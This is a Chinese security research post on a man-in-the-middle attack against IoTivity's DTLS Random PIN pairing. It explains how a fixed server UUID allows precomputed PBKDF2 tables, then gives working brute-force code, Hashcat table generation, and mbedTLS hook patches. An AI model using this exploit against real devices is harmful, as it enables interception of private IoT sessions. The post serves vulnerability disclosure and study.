物联网框架 IoTivity 中间人攻击分析

前言

IoTivity是物联网(IoT)标准的开源实现,该标准由Open Connectivity Foundation(OCF)组织制定

同时支持IP、BLE、BT、TCP及NFC等多种连接方式

并且兼容Ubuntu、Android、Tizen和Arduino等环境

本文将对IoTivity所采用的DTLS安全连接协议进行中间人攻击

IoTivity框架结构

低功耗蓝牙(BLE)概述

HCI:蓝牙链路控制层

GATT:服务和属性控制层

Service:设备提供的服务

Characteristic:服务提供的接口,一般会提供多种方法,比如Write、Read、Notify等

graph TD subgraph HCI subgraph GATT subgraph Service subgraph Characteristic Write Read Notify end end end end

中间人攻击(MITM)概述

中间人攻击(Man In The Middle,简称MITM)是指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。

根据中间人是否对通信内容进行篡改,又可分为主动的中间人攻击和被动的中间人攻击

通信加密(DTLS)概述

IoTivity框架下,设备的连接方式有三种,分别是Just WorksRandom PINManufacturer Certificate

这三种连接方式均采用ECDH(E)作为密钥协商算法,可以有效抵挡被动的中间人攻击,并保证连接的前向安全性

通信协议采用的是DTLS,是基于UDP连接方式的TLS实现,所用的加密套件和TLS相同

Just Works

此模式使用TLS_ECDH_anon_WITH_AES_128_CBC_SHA256加密套件,无法抵挡主动的中间人攻击

在这个工作模式下,通信双方不需要设置预共享密钥或证书,即可直接建立起TLS连接

优点是连接方便,适用于没有显示功能的蓝牙设备

缺点是连接的安全性没有保证

Random PIN

此模式使用TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256加密套件,可以在一定程度上抵挡主动的中间人攻击,安全性取决于PIN的复杂程度

由服务端生成8位数字PIN,并通过安全信道(Out Of Band,简称OOB)将其分发给客户端,随后PIN会用于TLS加密套件的的认证过程

举个例子,通过电视屏幕来显示PIN就是一种OOB的方案,只需要保证中间人得不到这个PIN即可

优点是每次使用的PIN都是随机生成的,这种连接方式有比较高的安全性,而且连接方式比较简单

一般来说,最常用的连接方法就是Random PIN

Manufacturer Certificate

此模式使用MBEDTLS_TLS_ECDHE_ECDSA_WITH_AES_128_CCM_8加密套件,无法抵挡主动的中间人攻击

服务端和客户端需要提前配置好ECDSA证书,随后ECDSA证书会用于TLS加密套件的的认证过程

缺点是证书容易泄露,无法保证连接的安全性,而且配置证书的过程比较繁琐

基于BLE的协议栈

DTLS:负责通信加密

CoAP:负责传输控制

GATT:负责提供蓝牙接口

HCI:负责蓝牙链路控制

graph LR subgraph IoTivity DTLS CoAP GATT HCI end

中间人攻击

下面将以Random PIN连接方式为例,通过Hook mbedTLS中的相关函数,对TLS_ECDHE_PSK加密套件进行中间人攻击

TLS_ECDHE_PSK握手过程

Client Hello:包含Client Random

Server Hello:包含Server Random

Server Key Exchange:包含Server UUIDServer Public Key

Client Key Exchange:包含Client UUIDClient Public Key

Client Finish:计算握手信息的HMAC_SHA256摘要,并使用AES密钥对其进行加密,再将AES加密所用的IV附在前面

Client Finish的生成过程

[PSK=PBKDF2(HMAC\_SHA256,PIN,Server UUID,1000)\ Z=ECDHE\_SECRET(Client(Server) Private Key,Server(Client) Public Key)\ PreMaster={Z,PSK}\ PadBuf=SHA256(HandShake)\ Master=PRF(HMAC\_SHA256,PreMaster,"extended master secret",PadBuf)\ RandBytes={Server Random,Client Random}\ KeyBlk=PRF(HMAC\_SHA256,Master,"key expansion",RandBytes)\ Hash=PRF(HMAC\_SHA256,Master,"client finished",PadBuf)\ IV=Random()\ Cipher=AES\_Encrypt(KeyBlk.key,IV,Hash)\ Client Finish={IV,Cipher} ]

Client Finish的依赖关系

graph LR UUID-->PSK PIN-->PSK PSK-->PreMaster PrivateKey-->Z PublicKey-->Z Z-->PreMaster HandShake-->PadBuf PreMaster-->Master PadBuf-->Master ServerRandom-->RandBytes ClientRandom-->RandBytes RandBytes-->KeyBlk Master-->KeyBlk Master-->Hash PadBuf-->Hash KeyBlk-->Cipher Random("Random()")-->IV IV-->Cipher Hash-->Cipher IV-->ClientFinish Cipher-->ClientFinish

中间人攻击过程

在已知

[Z,PadBuf,RandBytes,IV,Cipher ]

的前提下,我们可以通过暴力尝试来找到PIN满足

[AES\_Decrypt(KeyBlk.key,IV,Cipher)==Hash ]

从而与真正的Client和Server完成连接,进而监听整个会话信息

密码学误用

[PSK=PBKDF2(HMAC\_SHA256,PIN,Server UUID,1000) ]

注意在OCF制定的标准中,生成PSK所用的UUID是Server提供的,因此MITM作为假Server可以在握手的时候提供一个固定的UUID,这样就可以通过提前打表来绕过PBKDF2的迭代过程,从而减少破解PIN所需要的时间

部分攻击代码

这里为了方便演示只暴力尝试以00开头的PIN,破解用时不到1秒,平均每秒尝试(10^6)

考虑到实际连接中超时时间通常设置为60秒,所以理论上可以在窗口时间内破解出任何PIN,只需要增加字典的数目即可

使用GPU对PBKDF2进行打表(需要Hashcat环境)

m10900-pure.cl

KERNEL_FQ void m10900_comp (KERN_ATTR_TMPS_ESALT (pbkdf2_sha256_tmp_t, pbkdf2_sha256_t))
{
  const u64 gid = get_global_id (0);

  if (gid >= gid_max) return;

  const u64 lid = get_local_id (0);

  const u32 r0 = tmps[gid].out[0];
  const u32 r1 = tmps[gid].out[1];
  const u32 r2 = tmps[gid].out[2];
  const u32 r3 = tmps[gid].out[3];
  const u32 r4 = tmps[gid].out[4];
  const u32 r5 = tmps[gid].out[5];
  const u32 r6 = tmps[gid].out[6];
  const u32 r7 = tmps[gid].out[7];

  printf("%08x%08x %08x%08x%08x%08x%08x%08x%08x%08x
",hc_swap32_S(pws[gid].i[0]),hc_swap32_S(pws[gid].i[1]),r0,r1,r2,r3,r4,r5,r6,r7);
}

gendict.cpp

#include <cstdio>
#include <cstdlib>

char cmd[1024];

// HASH = PBKDF2-HMAC-SHA256
// PIN = 00000000 ~ 99999999
// UUID = 00000000000040004000000000000000
// ITER = 1000

char fmt[]="del kernels\m10900-*&hashcat --force --quiet --keep-guessing --self-test-disable --potfile-disable -m 10900 -a 3 sha256:1000:AAAAAAAAQABAAAAAAAAAAA==:0000000000000000000000 %02d?d?d?d?d?d?d > dict\dict%02d.txt";

int main(){
    for (int i=0;i<1;i++){ //100
        sprintf(cmd,fmt,i,i);
        printf("%d
",i);
        system(cmd);
    }
}

多线程暴力尝试PIN(需要OpenSSL环境)

oc_brute.c

#include <openssl/conf.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/hmac.h>
#include <string.h>
#include <pthread.h>

int debug=0;
unsigned char pin[1000000][8],psk[1000000][16];

unsigned char _pin[16+1],_psk[64+1];

// Public IN

typedef struct brute_t{
    unsigned char label1[32];
    unsigned char label2[32];
    unsigned char label3[32];
    unsigned char z[32];
    unsigned char padbuf[32];
    unsigned char randbytes[64];
    unsigned char iv[16];
    unsigned char cipher[64];
}brute_t;

brute_t brute_in;

// Public OUT
unsigned char *brute_out;

pthread_t plist[100];

unsigned char *HMAC(const EVP_MD *evp_md, const void *key, int key_len,
                    const unsigned char *d, size_t n, unsigned char *md,
                    unsigned int *md_len);

void hexlify(unsigned char *buf,int len)
{
  for (int i=0;i<len;i++)
    printf("%02x",buf[i]);
  printf("
");
}

void handleErrors()
{
    //printf("ERR
");
}

void PRF(const EVP_MD *evp_md,
        unsigned char *secret, size_t slen,
        unsigned char *label,
        unsigned char *randombytes, size_t rlen,
        unsigned char *dstbuf, size_t dlen )
{
    size_t nb;
    size_t i, j, k, md_len;
    unsigned char tmp[128];
    unsigned char h_i[32];
    HMAC_CTX *md_ctx=HMAC_CTX_new();
    unsigned int _md_len;

    md_len = EVP_MD_size( evp_md );
    nb = strlen( (char*)label );
    memcpy( tmp + md_len, label, nb );
    memcpy( tmp + md_len + nb, randombytes, rlen );
    nb += rlen;

    /*
     * Compute P_<hash>(secret, label + brute_in.randbytesom)[0..dlen]
     */

    HMAC_Init_ex( md_ctx, secret, slen, evp_md, NULL );
    HMAC_Update( md_ctx, tmp + md_len, nb );
    HMAC_Final( md_ctx, tmp, &_md_len );

    // HMAC_Init_ex() initializes or reuses a B<HMAC_CTX> structure to use the hash
    // function B<evp_md> and key B<key>. If both are NULL, or if B<key> is NULL
    // and B<evp_md> is the same as the previous call, then the
    // existing key is
    // reused. B<ctx> must have been created with HMAC_CTX_new() before the first use
    // of an B<HMAC_CTX> in this function.

    for( i = 0; i < dlen; i += md_len )
    {
        HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
        HMAC_Update( md_ctx, tmp, md_len + nb );
        HMAC_Final( md_ctx, h_i, &_md_len );

        HMAC_Init_ex( md_ctx, NULL, slen, NULL, NULL );
        HMAC_Update( md_ctx, tmp, md_len );
        HMAC_Final( md_ctx, tmp, &_md_len );

        k = ( i + md_len > dlen ) ? dlen % md_len : md_len;

        for( j = 0; j < k; j++ )
            dstbuf[i + j]  = h_i[j];
    }

    HMAC_CTX_free( md_ctx );
}

int decrypt(unsigned char *ciphertext, int ciphertext_len, unsigned char *key,
            unsigned char *iv, unsigned char *plaintext)
{
    EVP_CIPHER_CTX *ctx;
    int len;
    int plaintext_len;

    /* Create and initialise the context */
    if(!(ctx = EVP_CIPHER_CTX_new()))
        {handleErrors();}

    /*
     * Initialise the decryption operation. IMPORTANT - ensure you use a key
     * and brute_in.iv size appropriate for your cipher
     * In this example we are using 128 bit AES (i.e. a 128 bit key). The
     * brute_in.iv size for *most* modes is the same as the block size. For AES this
     * is 128 bits
     */
    if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
        {handleErrors();}

    /*
     * Provide the message to be decrypted, and obtain the plaintext output.
     * EVP_DecryptUpdate can be called multiple times if necessary.
     */
    if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
        {handleErrors();}
    plaintext_len = len;

    /*
     * Finalise the decryption. Further plaintext bytes may be written at
     * this stage.
     */
    if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
        {handleErrors();}
    plaintext_len += len;

    /* Clean up */
    EVP_CIPHER_CTX_free(ctx);

    return plaintext_len;
}

void checkPIN(unsigned char *pin, unsigned char *psk)
{
    unsigned char plain[64];
    unsigned char iv[16];

    memcpy(iv,brute_in.iv,16);

    // premaster = {lenbrute_in.z, brute_in.z, lenPSK, PSK}
    unsigned char pms[52];
    pms[0]=0;pms[1]=32;
    memcpy(pms+2,brute_in.z,32);
    pms[34]=0;pms[35]=16;
    memcpy(pms+36,psk,16);
    if (debug) {printf("pms : ");hexlify(pms,52);}

    // master = PRF(EVP_sha256(),pms, "extended master secret", brute_in.padbuf, 32, master, 48)
    unsigned char master[48];
    PRF(EVP_sha256(),pms,52,brute_in.label1,brute_in.padbuf,32,master,48);
    if (debug) {printf("master : ");hexlify(master,48);}

    // keyblk = PRF(EVP_sha256(),master, "key expansion", brute_in.randbytesbytes_after_swap, 64, keyblk, 128)
    unsigned char keyblk[256];
    //只需要把key算出来即可,不需要把256字节都算完
    PRF(EVP_sha256(),master,48,brute_in.label2,brute_in.randbytes,64,keyblk,80); //256);
    if (debug) {printf("keyblk : ");hexlify(keyblk,256);}

    // hash = PRF(EVP_sha256(),master, "client finished", brute_in.padbuf, 32, hash, 12)
    unsigned char hash[12];
    PRF(EVP_sha256(),master,48,brute_in.label3,brute_in.padbuf,32,hash,12);
    if (debug) {printf("hash : ");hexlify(hash,12);}

    // keyblock(:128) = {mac_dec(32), mac_enc(32), key2(16), key1(16), brute_in.iv_dec(16), brute_in.iv_enc(16)}
    unsigned char key[16];
    memcpy(key,keyblk+64,16);
    if (debug) {printf("key : ");hexlify(key,16);}

    // Decrypt the ciphertext
    decrypt(brute_in.cipher, 64, key, iv, plain);
    if (debug) {printf("plain : ");hexlify(plain,64);}

    // Verify
    if (debug) {
        hexlify(hash,12);
        hexlify(plain+12,12);
        printf("
");
    }

    if (!memcmp(hash,plain+12,12)){
        printf("PIN : %.8s
",pin);
        brute_out=pin;
    }
}

void unhex(unsigned char *dst,unsigned char *src,int dlen){
    for (int i=0,j=0;i<dlen;i++,j+=2){
        dst[i]=(src[j]>='a'?src[j]-'a'+10:src[j]-'0')*0x10+(src[j+1]>='a'?src[j+1]-'a'+10:src[j+1]-'0');
    }
}

void precheckPIN(void *idx){
    for (int i=((long long)idx*100000);i<(((long long)idx+1)*100000);i++){
        if (brute_out!=NULL) return;
        checkPIN(pin[i],psk[i]);
    }
}

void brute(){
    printf("brute start
");
    memcpy(brute_in.label1,"x65x78x74x65x6ex64x65x64x20x6dx61x73x74x65x72x20x73x65x63x72x65x74",22);
    memcpy(brute_in.label2,"x6bx65x79x20x65x78x70x61x6ex73x69x6fx6e",13);
    memcpy(brute_in.label3,"x63x6cx69x65x6ex74x20x66x69x6ex69x73x68x65x64",15);
    
    // infomation
    printf("Brute : 
");
    hexlify(brute_in.label1,22);
    hexlify(brute_in.label2,13);
    hexlify(brute_in.label3,15);
    hexlify(brute_in.z,32);
    hexlify(brute_in.padbuf,32);
    hexlify(brute_in.randbytes,64);
    hexlify(brute_in.iv,16);
    hexlify(brute_in.cipher,64);

    // read dict
    FILE *ret=freopen("/home/byaidu/iot-lite/dict/dict00.txt","r",stdin);
    if (ret==NULL) return;
    for (int i=0;i<1000000;i++){
        int rets=scanf("%s %s",_pin,_psk);
        if (rets==0) return;
        unhex(pin[i],_pin,8);
        unhex(psk[i],_psk,16);
    }

    // alloc 10 task
    for (long long i=0;i<10;i++){
        pthread_create(&plist[i], NULL, (void * (*)(void *))&precheckPIN, (void *)i);
    }

    // wait task
    for (int i=0;i<10;i++){
        pthread_join(plist[i],NULL);
    }

    if (brute_out!=NULL) {
        printf("succeed
");
    }else{
        printf("failed
");
        brute_out=(unsigned char*)"00000000";
    }
}

oc_exp.c

#include <unistd.h>
#include "oc_brute.c"

#define lenHdr 12
#define lenPIN 8
#define lenUUID 0x10
#define lenPSK 0x10
#define lenEncMsg 0x50
#define lenMsg 12
#define lenRandbytes 64

static unsigned char UUID[lenUUID];
static unsigned char PSK[lenPSK];
static unsigned char hash[lenMsg];
static unsigned char randbytes[lenRandbytes];

extern brute_t brute_in;

extern int oc_tls_pbkdf2(const unsigned char *pin, size_t pin_len, oc_uuid_t *uuid,
                  unsigned int c, uint8_t *key, uint32_t key_len);
extern int ssl_decrypt_buf( mbedtls_ssl_context *ssl );
extern void ssl_calc_finished_tls_sha256(mbedtls_ssl_context *ssl, unsigned char *buf, int from );
extern int mbedtls_ssl_psk_derive_premaster( mbedtls_ssl_context *ssl, mbedtls_key_exchange_type_t key_ex );
extern int mbedtls_ssl_derive_keys( mbedtls_ssl_context *ssl );

int firstconnect=1;

extern void hexlify(unsigned char *buf,int len);

int check_PIN(mbedtls_ssl_context *ssl){
  //remind to use Randbyes (after swap) here
  memcpy( brute_in.randbytes, randbytes + 32, 32 );
  memcpy( brute_in.randbytes + 32, randbytes, 32 );
  brute();
  //brute_out=(unsigned char*)"00000000";

  // 根据UUID和PIN计算PSK
  oc_uuid_t _UUID;
  memcpy(_UUID.id,UUID,lenUUID);
  
  // PIN = brute_out
  oc_tls_pbkdf2(brute_out,lenPIN,&_UUID,1000,PSK,lenPSK);
  printf("# PIN : ");hexlify(brute_out,lenPIN);
  printf("# UUID : ");hexlify(UUID,lenUUID);
  printf("# PSK : ");hexlify(PSK,lenPSK);

  // 设置PSK
  mbedtls_ssl_set_hs_psk(ssl,PSK,16);

  // 根据PSK和Z计算PMS
  mbedtls_ssl_psk_derive_premaster(ssl,MBEDTLS_KEY_EXCHANGE_ECDHE_PSK);

  // 根据PMS计算Master,KeyBlock,lenIV并设置Transform
  mbedtls_ssl_derive_keys(ssl);

  // Cacl HMAC_SHA256 After derive keys
  ssl_calc_finished_tls_sha256(ssl,hash,MBEDTLS_SSL_IS_CLIENT);

  // 应用Transform
  ssl->transform_in = ssl->transform_negotiate;
  ssl->session_in = ssl->session_negotiate;
  
  return 0;
}

// Modify / Brute PIN of HandShake and Verify PIN with EncMsg
// Callback From : mbedtls_ssl_parse_finished
int mbedtls_ssl_parse_finished_cb( mbedtls_ssl_context *ssl ){
  //fix the position of record
  ssl->in_msg+=16;
    
  // 2 bytes offset between in_msg & iv
  memcpy(brute_in.iv,ssl->in_msg-2,16);
  memcpy(brute_in.cipher,ssl->in_msg+16-2,64);
    
  // calc z & padbuf for brute_in
  size_t zlen;
  mbedtls_ecdh_calc_secret( &ssl->handshake->ecdh_ctx, &zlen,
                                       brute_in.z, 32,
                                       ssl->conf->f_rng, ssl->conf->p_rng );
  mbedtls_sha256_context sha256;
  mbedtls_sha256_init( &sha256 );
  mbedtls_sha256_clone( &sha256, &ssl->handshake->fin_sha256 );
  mbedtls_sha256_finish_ret( &sha256, brute_in.padbuf );
  
  // Save Randbytes
  memcpy(randbytes,ssl->handshake->randbytes,lenRandbytes);

  // Brute PIN
  check_PIN(ssl);
  return 0;
}

// Get UUID of HandShake
// Callback From : ssl_parse_client_psk_identity / get_psk_cb
int ssl_parse_client_psk_identity_cb( unsigned char *oc_PIN, unsigned char *ocUUID ){
  // read UUID set by app
  memcpy(UUID,ocUUID,lenUUID);
    
  // do something to skip warning
  memcpy(oc_PIN,"00000000",lenPIN);
  return 0;
}

oc_tls.c

+ if (firstconnect) ssl_parse_client_psk_identity_cb(PIN, (unsigned char *)&doxm->deviceuuid);
  if (oc_tls_pbkdf2(PIN, PIN_LEN, &doxm->deviceuuid, 1000, key, 16) != 0) {
    OC_ERR("oc_tls: error deriving PPSK");
    return -1;
  }

ssl_srv.c

+       if (firstconnect){
+           ssl->state++;
+           return( 0 );
+       }

        MBEDTLS_SSL_DEBUG_ECDH( 3, &ssl->handshake->ecdh_ctx,
                                MBEDTLS_DEBUG_ECDH_QP );
        case MBEDTLS_SSL_HANDSHAKE_WRAPUP:
            mbedtls_ssl_handshake_wrapup( ssl );
+           firstconnect=0;
            break;

ssl_tls.c

int mbedtls_ssl_parse_finished( mbedtls_ssl_context *ssl )
{
+   if (firstconnect) mbedtls_ssl_parse_finished_cb(ssl);

api_oc_uuid.c

void
oc_gen_uuid(oc_uuid_t *uuid)
{
  int i;
  uint32_t r;

  for (i = 0; i < 4; i++) {
-   r = oc_random_value();
+   r=0;
    memcpy((uint8_t *)&uuid->id[i * 4], (uint8_t *)&r, sizeof(r));
  }

另外Makefile也需要进行Patch,从而能正确编译并链接这些文件

基于IP协议栈的攻击

下面将演示中间人在提前不知道握手所用的PIN的前提下,仅通过部分握手报文来破解出PIN,并使用这个PIN来完成剩下的握手过程

因为IoTivity对Linux的蓝牙支持不太友好,所以最后就只做了本地TCP/IP回路上的测试

首先在Loopback上开启Client和MITM

在Client使用Discover功能搜索MITM,然后点击Onboard进行连接

注意这里的连接模式要选Random PIN

随意填写一个PIN,比如00777777

稍等片刻,MITM在终端输出PIN : 00777777,代表成功破解出Client所用的PIN

随后Client弹出窗口提示成功连接设备

连接成功后可以在Client查看MITM的详细信息

基于BLE协议栈的攻击(TODO)

蓝牙协议栈中依靠MAC地址来辨识不同的设备

如果两个设备共用一个MAC地址就会在握手过程中互相干扰,导致mbedTLS的状态机出错

所以我们只要想办法在连接过程中介入一个新的MAC地址就可以了

首先还是Client向Server发送配对请求

然后MITM伪装成Client的MAC地址向Server发送结束配对的请求

最后MITM用另外一个新的MAC地址向Server重新发送配对请求

这样整个连接过程中就存在3个不同的MAC地址,就能避免互相干扰的问题了

而且这个重新请求的时间极短,用户应该很难察觉到

其中修改MAC地址要用到BlueZ,或者也可以同时使用两个支持蓝牙4.0或5.0的Dongle设备

可能还需要手动处理CoAP协议头,再通过重放数据来Bypass掉OCF协议中的一些Provisioning请求

最后再把DTLS层数据传入Patch过的mbedTLS进行解析和破解工作

工具

nRF Connect

一款非常强大的App,支持iOS和Android,可以在手机上查看周围任何蓝牙设备的生产商信息、Service以及Characteristic等,同时支持对Characteristic的各种操作

UWP

微软的UWP框架提供了蓝牙功能,而且开发流程非常简单,但是受限于Windows蓝牙栈,绝大多数的设备属性都没有办法修改,不推荐

Noble / Bleno

用于BLE通信的Node.js模块,支持Mac OS X, Linux, FreeBSD以及Windows等系统,而且对硬件有要求

BlueZ

包含Linux下的蓝牙的开发环境和工具集,包括hcitoolgatttool以及bluetoothctl,下面的这些项目都是基于BlueZ来实现的,但是BlueZ是针对GATT协议层的工具,如果GATT协议层之上还有很多层协议的话,直接使用这个工具就显得不是很合适了

PyBluez/BluePy

提供BlueZ的Python封装接口

Ubertooth

可以用于蓝牙监听的设备,黑色的PCB造型非常酷,但是必须要吐槽一下,丢包实在是太严重了,而且只能做被动监听,不推荐

Bettercap

虽然文档写的不错,但是提供的功能非常少,只能用来发包开个蓝牙锁,可以看成是个玩具级产品,不推荐

Gattacker/Btlejuice

这两个工具都是基于noble的项目,可以完整实现蓝牙的中间人攻击,并且提供了PythonNode.js的Bindings,不过它们都是针对GATT协议层的工具

总结

最好不要碰和三星相关的任何项目和产品,包括但不限于BadaTizen以及IoTivity,顺便加上没有几个App能用的三星电视

珍爱生命,远离三星

参考文章

OCF Security Standards : https://openconnectivity.org/specs/OCF_Security_Specification_v2.1.2.pdf
Server Key Exchange : https://tools.ietf.org/html/rfc4492#section-5.4
ECDHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc5489#section-2
DHE_PSK Key Exchange Algorithm : https://tools.ietf.org/html/rfc4279#section-3
ECDHE : https://blog.csdn.net/mrpre/article/details/78025940
ECPoint : https://www.cnblogs.com/xinzhao/p/8963724.html
DTLS Sample : https://wiki.wireshark.org/DTLS
mbedTLS : https://github.com/ARMmbed/mbedtls
IoTivity : https://github.com/iotivity/iotivity-lite
BlueZ : http://www.bluez.org/
BlueZ Document : https://core.docs.ubuntu.com/en/stacks/bluetooth/bluez/docs/
PyBluez : https://github.com/pybluez/pybluez

原文地址:https://www.cnblogs.com/algonote/p/13450150.html